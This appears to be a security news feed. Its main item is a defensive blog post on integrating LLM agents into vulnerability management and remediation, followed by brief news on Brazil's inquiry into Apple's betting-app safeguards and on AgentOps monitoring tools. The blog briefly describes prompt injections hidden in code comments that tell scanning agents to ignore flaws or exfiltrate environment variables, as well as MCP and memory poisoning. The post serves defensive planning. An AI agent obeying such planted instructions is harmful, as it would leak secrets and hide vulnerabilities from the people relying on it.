<p><span>Frameworks like </span><a href="https://safety.google/intl/en_sg/safety/saif/" rel="noopener" target="_blank"><span>Google’s Secure AI Framework (SAIF)</span></a><span> </span><a href="https://safety.google/intl/en_sg/safety/saif/" rel="noopener" target="_blank"><span>and</span></a><a href="https://storage.googleapis.com/gweb-research2023-media/pubtools/1018686.pdf" rel="noopener" target="_blank"><span> </span><span>Google’s approach to secure AI Agents</span></a><span> provide a practical path forward, demanding that organizations extend existing deterministic controls directly into the AI execution environment. When deploying AI agents, security teams should navigate specific operational and structural risks:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Pre-agent data security and Defense-in-Depth:</strong><span> Agents should not be able to access personally identifiable information (PII), protected health information (PHI), or other sensitive data. Organizations should enforce data security before the prompt reaches the model. This includes strictly using non-production environments populated with synthetic data for testing. For production, security teams should deploy a hybrid defense-in-depth model. This includes Layer 1 deterministic policy engines acting as chokepoints, alongside Layer 2 reasoning-based defenses like specialized guard models (such as </span><a href="https://docs.cloud.google.com/model-armor/overview"><span>Model Armor</span></a><span> or similar provider-agnostic guardrails) to filter out sensitive data and block malicious prompt injections before they reach the agent layer. Crucially for vulnerability discovery, security teams should treat the codebase itself as an untrusted input. Threat actors can embed indirect prompt injections within source code comments or third-party dependencies (e.g., hidden instructions telling the agent to ignore vulnerabilities or exfiltrate environment variables), making input sanitation a requirement even for internal scanning.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Cloud provider limitations and zero data retention (ZDR):</strong><span> Many cloud and LLM providers block or throttle automated offensive security probing by default to prevent abuse. Organizations should establish clear rules of engagement and authorized testing agreements to navigate acceptable use policies. Furthermore, organizations should enforce strict zero data retention (ZDR) agreements with their LLM providers to guarantee that proprietary code and discovered vulnerabilities are never used to train external models.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Workload isolation:</strong><span> Agent workloads should execute in strictly isolated, unprivileged containers with dynamically limited privileges. By relying on robust sandboxing to prevent privilege escalation, if an agent hallucinates a destructive command or is hijacked via prompt injection, the blast radius remains contained.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Red Teaming:</strong><span> Before deploying autonomous vulnerability scanners that can dynamically spin up sandboxes and execute code, organizations should subject the AI agents themselves to human-led red teaming as part of comprehensive assurance efforts. This validates the agent's resilience against jailbreaks, recursive logic loops, and complex prompt injections, ensuring the security tooling does not become the attack vector.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Least-Privileged Machine Identities and Human Controllers:</strong><span> While workloads should be isolated, agents inherently require privileges to generate pull requests and commit code. Security teams should ensure these agents operate under distinct, strictly scoped machine identities that tie back to human controllers to ensure accountability and user consent. Organizations should use short-lived, just-in-time (JIT) tokens bound exclusively to the specific repository and branch under review. T</span><span>his enforces the principle of limited agent powers and ensures that even if an agent’s container is compromised via prompt injection, the threat actor cannot pivot to modify adjacent enterprise codebases.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Supply chain resilience for skills:</strong><span> As developers augment AI with third-party skills and model context protocol (MCP) servers, security teams should treat these integrations as untrusted supply chain components. MCP plugins introduce the risk of supply chain poisoning, where a previously benign integration is silently updated with malicious dependencies. Additionally, security teams should evaluate the underlying agent orchestration frameworks themselves (e.g., LangChain, AutoGen) for inherent vulnerabilities, such as session memory poisoning or recursive loop hijacking.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Toxic flow analysis (TFA) and Observable Actions:</strong><span> The objective of TFA is to monitor data paths at runtime, ensuring agents do not exfiltrate sensitive internal context to unvetted external endpoints. Agent actions, inputs, reasoning, and outputs must be fully observable and transparently logged. While implementing dynamic taint tracking for LLMs remains a complex architectural challenge, organizations should clearly separate this runtime observability from static supply chain controls. Integrating threat intelligence to hash and vet incoming agent tools provides a necessary baseline for verifying integrity </span><span>before</span><span> deployment. However, because static controls cannot address behavior post-deployment, mitigating data exfiltration ultimately requires active runtime monitoring and secure, centralized logging to trace and restrict the actual flow of data.</span></p>
</li>
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<div class="block-paragraph_advanced"><p><span>By operationalizing these tools within frameworks that demand verifiable integrity and structural resilience, organizations can safely bridge the gap between AI velocity and enterprise defense.</span></p>
<h3><span>The need for human-led threat modeling</span></h3>
<p><span>While LLMs excel at identifying syntax patterns, source code itself rarely contains the full picture of unwritten business intent. Some organizations attempt to solve this by connecting LLM agents to internal wikis, design documents, and issue trackers using retrieval-augmented generation (RAG).</span></p>
<p><span>While RAG gives the model access to external business context, it is not a perfect fix. Corporate documentation is frequently stale, contradictory, or incomplete. An AI agent might retrieve an outdated architecture diagram and confidently hallucinate a secure path that no longer exists in production. Because LLM agents struggle to resolve conflicting, undocumented human assumptions, human-led threat modeling remains a critical security control across both legacy applications and modern agent workflows.</span></p>
<p><span>Security teams should apply threat modeling during both the pre-build system design phase to establish a secure foundation, and during post-build architecture reviews. While an AI agent might successfully identify a poorly configured internal endpoint locally, a human threat modeler asks the structural question: </span><span>why does that microservice possess broad database read permissions in the first place?</span><span> </span></p>
<p><span>Identifying architectural vulnerabilities requires reasoning about business risk, data sensitivity, and operational constraints. To structure this process, organizations can use industry frameworks like PASTA (Process for Attack Simulation and Threat Analysis) or service offerings like the </span><a href="https://services.google.com/fh/files/misc/ds-threat-modeling-security-service-en.pdf" rel="noopener" target="_blank"><span>Mandiant Threat Modeling Security Service</span></a><span> to map trust boundaries, uncover structural design flaws, and prioritize compensating controls. Securing fundamental architecture through human oversight is a necessary component when relying on automated agents to find bugs in a poorly designed system.</span></p>
<p><span>Once these AI agents are safely sandboxed, as guided by SAIF, and the architecture is verified through threat modeling, organizations can typically apply them to two different problem spaces: Enterprise Vulnerability Management (to assist in managing the volume of known CVEs in commercial off-the-shelf (COTS) software and infrastructure) and Product Security (to identify vulnerabilities in 1st-party (1P) code).</span></p>
<h3><span>Track 1: Enterprise Vulnerability Management</span></h3>
<h4><span>Foundational security and discovery </span></h4>
<p><span>While the second track of this post explores how AI agents can uncover complex zero-days in custom code, organizations should manage the scale of enterprise infrastructure in tandem with these AI deployments. Even as new AI capabilities dominate headlines, organizations should still address foundational security challenges, such as secrets sprawl, unmanaged service accounts, missing FIDO2 MFA, and legacy VPN concentrators. Although vulnerability exploitation was the primary initial infection vector in intrusions Mandiant investigated last year, threat actors consistently rely on missing foundational controls and unpatched edge devices to secure and escalate their foothold after exploiting a vulnerability.</span></p>
<p><span>Furthermore, AI cannot replace foundational visibility. As security teams deploy AI agents, they should simultaneously close these tactical entry points by maximizing dynamic discovery capabilities like External Attack Surface Management (EASM), Cloud Security Posture Management (CSPM), and Continuous Threat Exposure Management (CTEM). In hybrid and cloud environments, tools like </span><a href="https://cloud.google.com/wiz?e=48754805"><span>Wiz</span></a><span> can be used to map this initial footprint.</span></p>
<h3><span>Risk-based vulnerability management </span></h3>
<p><span>Vulnerability management teams are already overwhelmed by the current volume of findings generated by traditional scanners. As organizations scale dynamic discovery tools, such as EASM, CSPM and CTEM, alongside automated AI agents, this influx of findings will compound the problem. To manage this influx, telemetry from these diverse discovery methods must first be normalized and deduplicated. This normalized data serves two purposes: it feeds directly into the risk engine, and it acts as a live overlay to correct stale records in the configuration management database (CMDB). By evaluating the deduplicated vulnerabilities alongside this newly updated asset context and frontline threat intelligence, the RBVM engine calculates a custom risk score that allows security teams to dynamically prioritize remediation.</span></p>
<p><span>A mature RBVM methodology calculates a customized risk score on a 0 to 100 scale using a weighted average. A sample formula for calculating this risk-based score is:</span></p>
<p><span>Final Score = (W_1 * S_vuln) + (W_2 * S_asset) + (W_3 * S_threat)</span></p>
<p><span>The variables and weights (W) are customized to the organization's risk appetite (for example, 0.20 for vulnerability, 0.40 for asset, and 0.40 for threat, summing to 1.0), while the underlying variables (S) are scored on a 0 to 100 scale and defined as follows:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Vulnerability severity (S_vuln): </strong><span>The inherent technical severity of the flaw. This is calculated by taking the CVSS Base Score (which natively accounts for confidentiality, integrity, and availability impact) and multiplying it by 10.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Asset context (S_asset): </strong><span>A combined metric of exposure and data sensitivity. Scores range from 100 for internet-facing assets holding customer data, down to 25 for internal-only assets with no sensitive data. To translate this impact into monetary terms for non-technical stakeholders, organizations can incorporate Factor Analysis of Information Risk (FAIR) principles into this metric. However, this approach requires highly accurate, continuously updated financial data that many enterprises struggle to maintain at scale.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Threat context (S_threat): </strong><span>The real-world urgency of the vulnerability. Scores range from 100 if actively exploited by threat actors relevant to the organization's profile, 75 if a proof-of-concept exists or if it is a vulnerability class easily exploited by autonomous AI agents, down to 25 if the exploit is theoretical and highly complex. Organizations should also map the Exploit Prediction Scoring System (EPSS) probability percentage directly into this variable. This allows the threat score to automatically scale up or down as real-world exploitation telemetry shifts, aligning static vulnerability data with active threat intelligence.</span></p>
</li>
</ul>
<p><span>An asset's customized risk score should directly influence internal remediation service-level agreements (SLAs), unless external compliance-driven mandates, such as CISA Binding Operational Directives (BODs), or relevant equivalents, override internal prioritization. A risk-driven and threat-intelligence-driven vulnerability prioritization methodology will help organizations focus resources on managing and mitigating the most critical security vulnerabilities first. This is an area where LLMs can support the vulnerability management process, particularly by helping teams synthesize unstructured threat intelligence to surface relevant risk contexts more efficiently. Enforcing strict SLOs for patching, while requiring formal risk acceptance documentation for any patching exceptions, will help reduce the number of vulnerabilities available to threat actors and increase the visibility of outstanding risks across the organization. Furthermore, organizations should integrate RBVM data directly into their security orchestration, automation, and response (SOAR) platforms for automated alert enrichment.</span></p></div>
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<div class="block-paragraph_advanced"><h3><span>Containment and Observability</span></h3>
<p><span>Modern architecture blueprints must prioritize attack surface reduction under the assumption that vulnerabilities will inevitably be exploited. Moving away from traditional perimeter defenses, organizations should align with zero trust principles, ensuring that security boundaries are established around every asset, workload, and identity.</span></p>
<p><span>A component of this alignment is the implementation of strong authentication principles. Organizations should eliminate implicit trust by enforcing continuous, context-aware authentication and authorization. Utilizing Zero Trust Network Access (ZTNA) solutions, such as Identity-Aware Proxies (IAP), shields critical management interfaces (e.g., SSH, RDP) and internal systems from direct internet exposure, granting access only to verified identities and compliant devices.</span></p>
<p><span>For public-facing applications and APIs, attack surface reduction involves deploying Layer 7 inspection at the load balancer or API gateway level. This hardening layer enforces strict schema validation, intercepting and neutralizing malformed inbound traffic and potential exploits before they can interact with internal application logic.</span></p>
<p><span>Securing the software supply chain is equally vital in modern blueprints, and organizations should align with frameworks like </span><a href="https://slsa.dev/spec/v0.1/levels" rel="noopener" target="_blank"><span>Supply-chain Levels for Software Artifacts (SLSA)</span></a><span> across both dependency and build tracks. Security policies should mandate that third-party dependencies are routed through a centralized artifact repository equipped with automated curation services, such as </span><a href="https://cloud.google.com/security/products/assured-open-source-software"><span>Google Assured Open Source Software (OSS)</span></a><span> or an equivalent solution, preventing untrusted code from entering the development lifecycle. Furthermore, maturing toward advanced SLSA build levels (e.g., SLSA level 3) through the implementation of isolation, ephemerality and reproducibility requirements via  ephemeral compute infrastructure for CI/CD runners reduces the likelihood of attacker persistence by ensuring environments are short-lived and automatically cycled.</span></p>
<p><span>To complement these pre-build controls, runtime observability should be established across all production workloads. This requires monitoring both infrastructure-level behavior and the specific runtime libraries actively executing in production, which surfaces true exploitable risk far beyond a static Software Bill of Materials. In tandem with monitoring workloads, organizations should secure how they authenticate by implementing workload identity federation. By removing static credentials and instead using short-lived tokens backed by strong cryptographic identity verification, organizations can reduce the risk of credential theft and unauthorized lateral movement.</span></p>
<p><span>Within the internal environment, microsegmentation should be enforced to break down flat networks into granular security zones. Routing application traffic through a Secure Access Service Edge (SASE) architecture integrates network routing directly with robust identity controls, rendering internal services completely invisible to unauthenticated users and containing threats to their initial point of entry.</span></p>
<p><span>Finally, automated containment and incident response within a zero trust framework must rely on deterministic, auditable tooling. Endpoint detection and response (EDR) platforms and SOAR playbooks should handle high-fidelity containment tasks through hardcoded execution logic. While AI tools accelerate triage and policy recommendation, actual execution capabilities must remain restricted to well-defined, pre-tested workflows to maintain total architectural predictability.</span></p></div>
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<div class="block-paragraph_advanced"><h3><span>Track 2: Product Security &amp; Development (1P Code)</span></h3>
<h4><span>Deterministic and probabilistic tooling</span></h4>
<p><span>Integrating LLM agents into vulnerability management and security workflows requires recognizing the differences between deterministic and probabilistic tooling. Traditional SAST and DAST tools utilize fixed methodologies to evaluate vulnerabilities through structural code parsing or definitive runtime observations. LLMs, however, evaluate source code by processing tokens simultaneously to calculate statistical and semantic relationships, rather than tracing deterministic execution tracks.</span></p>
<p><span>While techniques like Chain of Thought (CoT) prompting allow models to bridge this gap by decomposing complex code paths into intermediate reasoning steps, this process remains bounded by architectural limitations. Even when a model possesses a context window large enough to ingest entire repositories, it may experience attention degradation across long inputs, often failing to correctly weight intervening validation or sanitization logic within the prompt. For example, if a variable is tainted on line 10 but sanitized on line 500, attention degradation can cause the model to lose track of the sanitization logic. Furthermore, when enterprise codebases require chunking to fit within context limits, the resulting fragmentation may cause the model to lose track of end-to-end data flows.</span></p>
<p><span>Consequently, probabilistic engines are effective at uncovering localized, static anomalies, such as hardcoded credentials or outdated dependencies, but frequently misjudge complex vulnerabilities split across fragmented chunks or extended context windows. Notable exceptions occur when these probabilistic models are coupled with deterministic feedback loops. For instance, when analyzing C++ memory corruption, an LLM can be equipped with a test harness to iteratively execute code and definitively prove a crash. While these dynamic validation applications are detailed in subsequent sections, the baseline limitation for static analysis across standard enterprise codebases remains: models struggle to consistently evaluate dispersed logic.</span></p></div>
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<div class="block-paragraph_advanced"><h3><span>Binary and architectural oracles</span></h3>
<p><span>Many security programs are moving toward agent workflows where an agent autonomously spins up a test environment and uses tools to execute payloads and verify its findings. This is a promising approach, but it is important to understand where it is most effective.</span></p>
<p><span>Agent workflows perform well against bug classes with binary and observable oracles, meaning the system provides an objective, 'crash or no crash' feedback loop. For example, if a model is hunting for memory corruption in a C++ kernel, a successful exploit is undeniable: the payload executes, and a resulting crash definitively proves the vulnerability. This explains why the industry is currently seeing a surge in AI-discovered vulnerabilities across memory-unsafe targets like web browsers and operating systems.</span></p>
<p><span>However, enterprise software is heavily dominated by vulnerabilities that require architectural oracles for validation. Vulnerabilities like authorization bypasses, complex business logic flaws, and indirect server-side request forgeries require an understanding of business context and cross-service trust boundaries. If an agent's payload fails to produce a clear outcome, it can't reliably distinguish whether the vulnerability is a hallucination or if it simply constructed the payload incorrectly. An agent's malformed payload might even crash an unrelated background process and cause the model to hallucinate a success and report a false confirmation. Complex enterprise architecture contains unwritten business intent that a probabilistic engine can't inherently know.</span></p></div>
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<div class="block-paragraph_advanced"><h3><span>Targeted deployment and human impact</span></h3>
<p><span>Organizations adopting LLMs for vulnerability discovery face a massive staffing challenge. LLMs can generate findings significantly faster than human engineers can triage them. If every LLM-generated alert requires manual review, security teams will quickly face burnout and/or suffer alarm fatigue.</span></p>
<p><span>Rather than indiscriminately pointing agents at all available codebases and risking an influx of unverified output, security teams need a selective deployment strategy. Mature programs should maintain SAST and DAST for baseline hygiene and deterministic rule enforcement, and reserve intensive agent audits for high-impact components with clear binary oracles.</span></p>
<p><span>Organizations can prioritize agent audits on systems where the technology's strengths align with the broader risk profile:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Memory-unsafe codebases:</strong><span> Legacy or high-performance components written in memory-unsafe languages such as C, C++, or Assembly are strong candidates for LLM audits. These languages are susceptible to memory corruption flaws, such as buffer overflows and use-after-free conditions. Because these vulnerabilities trigger definitive failure states like segmentation faults, they work well with automated sandboxes where agents can compile the code with memory sanitizers and write proof-of-concept inputs. This approach is also effective for auditing the native extensions where safe languages call unsafe internal libraries, such as Python C extensions or the Java Native Interface (JNI).</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Systems highly exposed to outside content:</strong><span> First-party data ingestion pipelines, custom API gateways, or proprietary edge proxies. A prerequisite here is direct access to the source code, this strategy is strictly for internally developed or fully open-source codebases where the organization can inspect the logic. Because these systems directly parse untrusted internet traffic, targeting their source code for LLM-driven audits yields the highest risk-reduction ROI.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Shared internal libraries and utilities: </strong><span>Core serialization/deserialization packages, common utility functions, and custom middleware wrappers (such as internal message-queue parsers) maintained in-house. Because the enterprise owns the source code for these shared building blocks, agent tools can easily hook into them within automated test harnesses to fuzz inputs and catch low-level logic or parsing bugs with high fidelity.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Foundational security boundaries:</strong><span> Internally developed centralized authentication services, custom OAuth providers, and internal credential brokers. While testing complex identity boundaries generates higher logic-based noise, having full access to the source code allows teams to pair agents with deterministic checks to safely triage findings, given that the blast radius of an authentication failure justifies the human effort.</span></p>
</li>
</ul>
<p><span>To filter the noise generated by LLMs, organizations should establish routing rules. Require the agent to generate a fully reproducible, deterministic test harness (such as a compiled binary or a Python test script) that attempts to prove the exploit. This harness must execute automatically in an isolated, monitored sandbox. If the sandbox execution fails (due to a syntax error or a failed exploit), the ticket is discarded, sparing human resources. However, organizations should enforce execution timeouts and iteration limits on these test harnesses. Without hard limits, an autonomous agent attempting to prove a vulnerability can fall into an infinite loop: writing a script, failing, rewriting, and failing again, exhausting API token budgets and compute resources against a single dead-end vulnerability, creating significant cost overruns without advancing the security review. To manage these expenses, organizations should incorporate FinOps principles to balance the compute and API costs of LLM audits against the traditional expenses of manual triage.</span></p>
<p><span>However, a successful execution in the sandbox does not guarantee an actionable, high-priority risk. In practice, autonomous agents frequently produce working PoCs for genuine technical flaws that are ultimately irrelevant; or warrant a lower remediation priority within the context of the system's threat model. For example, the agent might successfully exploit an unreachable dead-code path, or trigger a bug that requires administrative access to execute and yields no further escalation of privilege. Therefore, a human engineer should be assigned to review and prioritize the ticket only if the sandbox registers a successful execution, validating environmental context, reachability, and true business impact as part of the review.</span></p>
<p><span>This workflow reduces the volume of alerts, but it is important to understand that the security team's workload does not disappear. The engineer's primary job shifts from manually hunting for the initial vulnerability to auditing the LLM-generated proof to ensure it represents a meaningful risk rather than an unexploitable or contextually irrelevant finding. Leadership should properly staff and train teams for this new reality. Deploying LLM agents does not remove the need for skilled practitioners; it redirects their workload toward complex validation. Equally important is training teams to recognize the risk of false negatives. A hyper-focus on filtering AI-generated noise can create a false sense of security. If an exploit relies on a novel technique or a zero-day vulnerability that was not heavily weighted in the model's training data, the agent will likely scan right past it in silence. LLMs augment discovery, but they do not guarantee exhaustive coverage.</span></p>
<p><span>When integrating LLMs into SAST triage pipelines, human engineers should also verify the broader architectural integrity. Prompting an LLM with specific SAST warnings can induce contextual narrowing, where the agent becomes hyper-fixated on resolving a localized syntax error and misses broader architectural flaws existing in the same file. Furthermore, if the agent's mandate extends beyond discovery to automated remediation (such as writing and proposing code fixes), this human-in-the-loop validation becomes critical to ensure the LLM does not inadvertently introduce new regressions or bypass intended business logic.</span></p></div>
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<div class="block-paragraph_advanced"><h3><span>Remediation and hardening</span></h3>
<h4><span>LLM-assisted code remediation</span></h4>
<p><span>A primary goal of integrating large language models (LLMs) into the software development lifecycle is automated remediation. To achieve this, organizations are deploying these capabilities through two primary execution methods: directly within the integrated development environment (IDE) or as a centralized pipeline runner. Examples include </span><a href="https://deepmind.google/blog/introducing-codemender-an-ai-agent-for-code-security/" rel="noopener" target="_blank"><span>CodeMender</span></a><span>, although as of time of writing, it is not publicly available.</span></p>
<h4><strong>IDE-integrated method</strong><span> </span></h4>
<p><span>This method shifts remediation as far left as possible by operating as an active pair-programmer. Tools running continuous static analysis in the background of the IDE surface vulnerabilities directly to the developer via editor diagnostics like inline indicators or hover tooltips.</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Localized scope:</strong><span> The developer can trigger the LLM agent to analyze the localized data flow and generate a targeted patch (such as implementing parameterized SQL queries). By constraining the LLM to localized, syntax-level fixes, the scope of the change remains contained. This prevents the agent from attempting sprawling, multi-file refactors that frequently break complex architectural logic.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Human-in-the-loop:</strong><span> The developer reviews the AI-generated patch before the code is committed.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Managing false positives:</strong><span> Local IDE agents allow developers to manage false positives dynamically. Suppressing alerts anchored to specific line text reduces alert fatigue and preserves developer trust.</span></p>
</li>
</ul>
<h4><strong>CI/CD runner method</strong><span> </span></h4>
<p><span>The runner method executes asynchronously within the CI/CD pipeline to use an LLM to review committed code and automatically propose remediation.</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Restricted execution and deterministic validation: </strong><span>Asking a centralized runner to automatically rewrite a complex, multi-file authorization flaw directly in the main branch introduces a high risk of breaking logic errors. To mitigate this, agents must be restricted to generating pull requests (PRs). Once a PR is generated, it must automatically execute standard regression suites alongside the deterministic test harness. By rerunning the initial PoC against the patched code, the workflow repurposes the exploit script as a validation oracle to prove the vulnerability has been remediated. A human engineer then reviews the PR to validate the architectural logic before merging.</span></p>
</li>
</ul>
<p><span>In all cases security teams should define a clear boundary between the two methods rather than rely on a single approach. IDE agents provide immediate, syntax-level support. They catch and resolve low-complexity errors locally before developers commit code. Centralized CI/CD runners handle broader organizational baselines. They propose complex, repository-wide fixes for vulnerabilities that bypass local environments.</span></p>
<h4><strong>Post-deployment controls</strong><span> </span></h4>
<p><span>Even with human review and deterministic test harnesses, AI-generated patches can still introduce logic regressions in production. Organizations should implement strict post-deployment controls:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Automated rollbacks:</strong><span> Treating LLM-generated code with the same post-deployment scrutiny as any major architectural change ensures that if an unforeseen regression traverses the CI/CD pipeline, the environment can revert to a known good state.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Mitigating model drift:</strong><span> Relying on managed AI services introduces the ongoing risk of model drift. To prevent silent weight updates from breaking test harnesses, organizations need to pin specific model API versions to frozen releases. When a pinned version reaches its end-of-life, organizations will face a forced migration. Mitigating this pipeline fragility requires combining model pinning with deterministic regression suites.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Compliance and auditability:</strong><span> If an AI agent automatically closes a security ticket or generates a patch in the CI/CD pipeline, organizations should maintain immutable audit logs to satisfy frameworks like SOC 2 ,PCI-DSS, FedRAMP, and CMMC. National security deployments must also account for data sovereignty requirements. This logging should record the specific model version that proposed the fix, the deterministic test results that validated it, and the human engineer who approved the merge. Furthermore, because emerging legislation like the EU AI Act emphasizes human oversight for high-risk applications, security teams should carefully evaluate how autonomous remediation workflows align with these evolving global regulatory standards.</span></p>
</li>
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      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Screenshot_2026-07-15_at_10.24.22PM.max-1000x1000.png" alt="demistifying image 7">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="bg92b">Figure 7: Flowchart demonstrating the difference between local IDE AI remediation and centralized CI/CD pipeline remediation.</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h3><span>Conclusion</span></h3>
<p><span>Leveraging LLMs in vulnerability management is a multi-layer solution: Integrating it requires separating workflows by layer. At the enterprise infrastructure level, Risk-Based Vulnerability Management (RBVM) and exposure management are necessary to process the volume of findings and configuration drift. At the product and code security level, LLM-enabled vulnerability assessment and remediation must operate alongside foundational deterministic controls, such as SAST and DAST, to audit custom, open-source, or third-party code.</span></p>
<p><span>Although LLMs can help manage technical debt and accelerate vulnerability discovery, they do not replace secure-by-design principles. The fact that LLM agents are proving exceptionally capable at identifying and exploiting localized memory corruption in memory-unsafe codebases, alongside other primary vectors, should serve as a wake-up call. </span></p>
<p><span>As a long-term strategy aligned with </span><a href="https://media.defense.gov/2022/Nov/10/2003112742/-1/-1/0/CSI_SOFTWARE_MEMORY_SAFETY.PDF" rel="noopener" target="_blank"><span>NSA guidance on Software Memory Safety</span></a><span>, organizations need to phase memory-safe languages into new internal development. LLMs are beginning to expand what is possible here by reducing the manual labor required for code migration. Converting existing C or C++ codebases to Rust has historically been unrealistic due to the large volume of engineering hours needed. While fully automated translation is not a turn-key solution, using LLMs to assist engineers with the bulk of the conversion can make these long-term migrations operationally viable. Beyond internal efforts, organizations should use procurement requirements to incentivize vendors to reduce their reliance on memory-unsafe languages and establish secure configuration defaults over time. Bridging the gap between AI velocity and enterprise defense means building an automated pipeline to manage the current backlog, while architecting systems where entire classes of vulnerabilities and misconfigurations are eliminated by design.</span></p>
<h3><span>Acknowledgements</span></h3>
<p><span>This analysis would not have been possible without the assistance of Google Threat Intelligence Group (GTIG) and other broader Google teams.</span></p></div>]]></content:encoded>
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<title><![CDATA[Vital Signals puts continuous blood pressure monitoring into a ring]]></title>
<description><![CDATA[Vital Signals promises its algorithmic blood pressure monitoring ring will reshape how we live with hypertension and other cardiac conditions]]></description>
<link>https://tsecurity.de/de/3673523/it-nachrichten/vital-signals-puts-continuous-blood-pressure-monitoring-into-a-ring/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673523/it-nachrichten/vital-signals-puts-continuous-blood-pressure-monitoring-into-a-ring/</guid>
<pubDate>Thu, 16 Jul 2026 15:03:24 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Vital Signals promises its algorithmic blood pressure monitoring ring will reshape how we live with hypertension and other cardiac conditions]]></content:encoded>
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<title><![CDATA[Brazil Gives Apple Five Days to Explain App Store Betting Safeguards]]></title>
<description><![CDATA[Brazilian officials have given Apple five business days to provide more details about how the App Store blocks minors from accessing betting apps. The latest request follows an earlier inquiry that raised concerns about weak age controls and the availability of gambling-related apps without clear...]]></description>
<link>https://tsecurity.de/de/3673293/ios-mac-os/brazil-gives-apple-five-days-to-explain-app-store-betting-safeguards/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673293/ios-mac-os/brazil-gives-apple-five-days-to-explain-app-store-betting-safeguards/</guid>
<pubDate>Thu, 16 Jul 2026 13:41:17 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Brazilian officials have given Apple five business days to provide more details about how the App Store blocks minors from accessing betting apps. The latest request follows an earlier inquiry that raised concerns about weak age controls and the availability of gambling-related apps without clear authorization.



Brazil’s National Secretariat for Digital Rights and National Consumer Secretariat first contacted Apple and Google in April. Both agencies questioned how betting apps remained available to younger users and how the companies checked whether operators had proper federal approval.



Brazil recently introduced ECA Digital, a law that requires app stores to limit minors’ access to gambling content. Apple later added age-assurance measures for apps rated 18+, although officials still found betting apps that appeared to lack proper restrictions or regulatory approval.



The Ministry of Justice and Public Safety said Apple answered a large part of the original inquiry, but regulators now want clearer information about its review and enforcement process.



Officials asked Apple to explain how it verifies regulatory approvals, separates simulated betting games from real-money gambling apps, and detects features that developers hide or add after approval. They also want details about active monitoring, removal times, risk priorities, and the schedule for planned software changes.



The agencies also asked Google for more complete answers about operator checks, expired licences, enforcement results, and protections for minors.



Brazilian officials requested that both companies publish their responses, while allowing them to submit confidential business information separately under restricted access.]]></content:encoded>
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<title><![CDATA[19 AgentOps tools for monitoring AI activity, issues, and costs]]></title>
<description><![CDATA[With AI increasingly tucked into every cranny of the enterprise, someone has had to step up and provide the tools necessary to discover, track, and monitor all the agents and LLMs and keep them humming along in their various workflows. Thankfully, the DevOps world answered the call, building the ...]]></description>
<link>https://tsecurity.de/de/3673038/it-security-nachrichten/19-agentops-tools-for-monitoring-ai-activity-issues-and-costs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673038/it-security-nachrichten/19-agentops-tools-for-monitoring-ai-activity-issues-and-costs/</guid>
<pubDate>Thu, 16 Jul 2026 12:09:36 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">With AI increasingly tucked into every cranny of the enterprise, someone has had to step up and provide the tools necessary to discover, track, and monitor all the agents and LLMs and keep them humming along in their various workflows. Thankfully, the DevOps world answered the call, building the tools to support our new overlords in an emerging subdiscipline interchangeably called “<a href="https://www.cio.com/article/196239/what-is-aiops-injecting-intelligence-into-it-operations.html">AIOps</a>,” “AgentOps,” and sometimes “agent observability.”</p>



<p class="wp-block-paragraph">Many of the challenges involved in AgentOps are similar to those tackled by traditional DevOps tools and processes. After all, at their foundation, LLMs are just software running on hardware somewhere. Typical issues involving RAM and disk space are just as important in the agent world, maybe more so because AI operations are even more greedy about consuming storage than regular software is.</p>



<p class="wp-block-paragraph">Many of the companies supporting agent observability are big names in DevOps circles, having adapted their stacks to address the idiosyncrasies of modern LLMs. IT teams maintaining enterprise agents can treat the LLMs as just one node in a big graph filled with services that are constantly swapping packets and triggering software jobs. Latency and resource constraints must be managed because end-users don’t care whether it’s an LLM, a database, or a plain-old Python script that’s failing, bringing their work to a grinding halt.</p>



<p class="wp-block-paragraph">But new AI-specific challenges are opening the door to newcomers that are building tools with the peculiarities of LLMs in mind — for example, keeping deeper logs filled with records of prompts. LLMs are also often very non-deterministic by design, making it trickier to pinpoint failure modes. And then there’s the fact that an agent will give a perfectly intelligent answer one minute and hallucinate the next.</p>



<p class="wp-block-paragraph">Relying on many of the same approaches that DevOps tools do, AgentOps tools watch for misbehavior and flag anything out of the ordinary for deeper analysis. This may be as simple as fixing slow responses, but it can also include AI hallucinations and other issues born of LLMs’ non-determanism.</p>



